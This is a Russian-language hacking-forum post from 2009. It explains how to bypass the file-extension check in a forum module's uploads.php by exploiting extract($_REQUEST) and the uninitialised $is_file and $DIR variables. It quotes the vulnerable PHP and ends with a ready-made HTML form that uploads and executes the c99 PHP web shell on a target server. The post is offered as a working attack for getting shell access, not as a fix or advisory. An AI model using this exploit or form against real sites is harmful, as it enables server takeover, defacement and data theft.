
19.03.2009, 05:49
|
|
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
Аплоад файлов с обходом проверки расширения
Имеем аплоадер файлов /engine/forum/sources/modules/uploads.php?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=add Где fid - айди форума, где разрешен аплоад
В файле uploads.php имеем:
PHP код:
// это нам только наруку
extract($_REQUEST, EXTR_SKIP);
$fid = intval($_REQUEST['fid']);
$tid = intval($_REQUEST['tid']);
$pid = intval($_REQUEST['pid']);
..........
$result = $db->super_query("SELECT * FROM " . PREFIX . "_forum_forums WHERE id = '$fid'");
$access_upload = $result['access_upload'];
$access_upload = explode(":", $access_upload);
if (!in_array($member_id['user_group'], $access_upload))
{
die("Hacking attempt!");
}
Далее идут проверки
PHP код:
if ($do == "add")
{
$allowed_images = array("gif", "jpg", "png", "jpe", "jpeg");
$allowed_files = explode(',', $forum_config['upload_type']);
$file_name = $_FILES['attachment']['name'];
$file_explode = explode(".",$file_name);
$file_type = strtolower(end($file_explode));
$attachment_size = $_FILES['attachment']['size'];
if (in_array($file_type, $allowed_images) AND $forum_config['img_upload'])
{
if ($attachment_size < ($forum_config['img_size']*1024))
{
$is_image = TRUE;
$DIR = "images/";
}
else
{
$image_size_error = true;
}
}
if (in_array($file_type, $allowed_files) AND $upload_file_access)
{
$is_file = TRUE;
$DIR = "files/";
}
if ($is_file OR $is_image)
{
Переменные $is_file, $is_image, $DIR нигде ранее не определены, поэтому передав их GET \ POST запросом, можно залить файл с любым расширением, но .. это самое расширение обрезается =\
Файлы аплоадятся в /uploads/forum/files
PHP код:
$uploadfile = UPLOAD_DIR.$DIR.basename($_FILES['attachment']['name']);
if (move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadfile)){
$file_name = $_FILES['attachment']['name'];
$file_size = $_FILES['attachment']['size'];
}
if (file_exists(UPLOAD_DIR . $DIR . $file_name)){
if ($is_file)
{
$ftype = 'file';
$file_rename = time()."_".totranslit($file_name);
}
else
{
$ftype = 'image';
$file_rename = time().".".$file_type;
}
rename(UPLOAD_DIR . $DIR . $file_name, UPLOAD_DIR . $DIR . $file_rename);
Тут и пригодится переменная $DIR: &DIR=files/c99.php . - имя файла будет c99.php.1237426502_c99 при этом он будет выполняться, а не вываливаться как обычный текстовый файл! (Проверял на локале, ubuntu)
В итоге залить шелл можно следующей формой:
Код:
<form method="post" enctype="multipart/form-data" action="?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=add&is_file=1&files/c99.php."><br /><input class="forum_input" name="attachment" type="file" style="width:200px" /> <input class="button" value="Загрузить" type="submit" style="background-color:#53E490;" /></form><p><font color="red">Не допустимый формат файла!</font></p></fieldset><br /><fieldset><legend><strong>Загруженные файлы</strong></legend><form method="post" enctype="multipart/form-data" action="?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=del"><table class="dle_forum" width="100%"></table><br />Ни одного файла не загружено.</form>
|
|
|